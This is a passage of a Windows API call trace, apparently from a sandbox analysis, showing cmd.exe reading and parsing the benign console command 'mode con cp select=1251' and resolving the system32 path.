(_FileHandle=0) returned 0xf94 [0289.981] GetFileType (hFile=0xf94) returned 0x3 [0289.981] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.981] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.981] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0289.981] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.981] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.981] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0289.981] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.981] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.981] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0289.981] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.981] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.981] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0289.981] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.981] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.982] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0289.982] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.982] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.982] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0289.982] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.982] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.982] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0289.982] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.982] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.982] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0289.982] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.982] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.982] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0289.982] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.982] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.982] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0289.982] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.983] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.983] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0289.983] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.983] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.983] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0289.983] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.983] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.983] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0289.983] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.983] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.983] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0289.983] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.983] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.983] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0289.983] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.983] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.984] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0289.984] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.984] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.984] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0289.984] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.984] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.984] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0289.984] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.984] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.984] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0289.984] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.984] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.984] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0289.984] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.984] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.984] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0289.984] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.985] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.985] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0289.985] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.985] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.985] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0289.985] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.985] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.985] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0289.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0289.986] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.986] GetFileType (hFile=0xf94) returned 0x3 [0289.986] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.986] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.986] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.986] GetFileType (hFile=0xfa0) returned 0x3 [0289.986] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0289.986] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xf9aaeffa48, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeffa48*=0x18, lpOverlapped=0x0) returned 1 [0289.986] GetProcessHeap () returned 0x29f96d20000 [0289.986] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x4012) returned 0x29f96d28bb0 [0289.986] GetProcessHeap () returned 0x29f96d20000 [0289.986] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d28bb0) returned 1 [0289.987] _wcsicmp (_String1="mode", _String2=")") returned 68 [0289.987] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0289.987] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0289.987] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0289.987] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0289.987] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0289.987] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0289.987] GetProcessHeap () returned 0x29f96d20000 [0289.987] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xb0) returned 0x29f96d26e30 [0289.987] GetProcessHeap () returned 0x29f96d20000 [0289.987] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1a) returned 0x29f96d26c60 [0289.988] GetProcessHeap () returned 0x29f96d20000 [0289.988] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x38) returned 0x29f96d26ef0 [0289.989] GetConsoleOutputCP () returned 0x1b5 [0290.113] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0290.113] SetThreadUILanguage (LangId=0x0) returned 0x409 [0290.285] GetConsoleTitleW (in: lpConsoleTitle=0xf9aaeff890, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0290.486] malloc (_Size=0xffce) returned 0x29f96e40840 [0290.486] ??_V@YAXPEAX@Z () returned 0x29f96e40840 [0290.487] malloc (_Size=0xffce) returned 0x29f96e50820 [0290.488] ??_V@YAXPEAX@Z () returned 0x29f96e50820 [0290.492] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0290.492] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0290.492] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0290.492] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0290.492] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0290.492] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0290.492] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0290.492] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0290.492] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0290.492] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0290.492] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0290.492] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0290.492] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0290.492] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0290.492] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0290.492] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0290.492] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0290.492] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0290.492] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0290.492] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0290.492] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0290.492] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0290.492] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0290.492] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0290.492] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0290.492] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0290.493] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0290.493] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0290.493] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0290.493] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0290.493] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0290.493] _wcsicmp (_String1="mode", _String2="START") returned -6 [0290.493] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0290.493] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0290.493] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0290.493] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0290.493] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0290.493] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0290.493] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0290.494] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0290.494] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0290.494] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0290.494] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0290.494] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0290.494] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0290.494] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0290.494] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0290.494] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0290.494] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0290.494] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0290.494] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0290.494] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0290.494] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0290.494] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0290.494] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0290.494] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0290.494] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0290.494] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0290.494] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0290.494] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0290.494] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0290.494] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0290.494] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0290.494] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0290.494] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0290.494] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0290.494] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0290.494] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0290.495] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0290.495] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0290.495] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0290.495] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0290.495] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0290.495] _wcsicmp (_String1="mode", _String2="START") returned -6 [0290.495] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0290.495] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0290.495] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0290.495] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0290.495] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0290.495] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0290.495] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0290.495] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0290.495] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0290.495] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0290.495] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0290.495] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0290.495] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0290.496] ??_V@YAXPEAX@Z () returned 0x1 [0290.496] GetProcessHeap () returned 0x29f96d20000 [0290.496] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xffde) returned 0x29f96d28bb0 [0290.496] GetProcessHeap () returned 0x29f96d20000 [0290.496] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x42) returned 0x29f96d38ba0 [0290.496] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0290.496] malloc (_Size=0xffce) returned 0x29f96e50820 [0290.496] ??_V@YAXPEAX@Z () returned 0x29f96e50820 [0290.497] GetProcessHeap () returned 0x29f96d20000 [0290.497] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1ffac) returned 0x29f96d38bf0 [0290.500] SetErrorMode (uMode=0x0) returned 0x0 [0290.500] SetErrorMode (uMode=0x1) returned 0x0 [0290.500] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x29f96d38c00, lpFilePart=0xf9aaeff110 | out: lpBuffer="C:\\WINDOWS\\system32", 